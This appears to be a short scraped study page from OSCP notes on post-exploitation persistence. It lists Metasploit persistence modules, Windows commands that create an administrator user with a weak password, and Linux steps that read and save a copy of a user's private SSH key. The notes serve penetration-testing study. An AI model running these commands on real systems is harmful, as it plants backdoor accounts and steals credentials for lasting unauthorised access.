// notes/ Pivoting & Tunneling
🚀
Persistence
Notes from oscp.adot8.com — post exploitation.
#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/persistence ↗Persistence
Windows Persistence
Metasploit persistence script
bash
$exploit/windows/local/registry_persistence$exploit/windows/local/persistence$run persistence -h$run scheduleme$run schtaskabuseManual persistence
Add a user
powerquery
01net user adot8 Password1 /add02net localgroup Administrators adot8 /add03net localgroup "Remote Management Users" adot8 /addLinux Persistence
Copy and save a copy of the ssh key
code
01cat ~/.ssh/id_rsacode
01vim copy_id_rsa02chmod 600 copy_id_rsa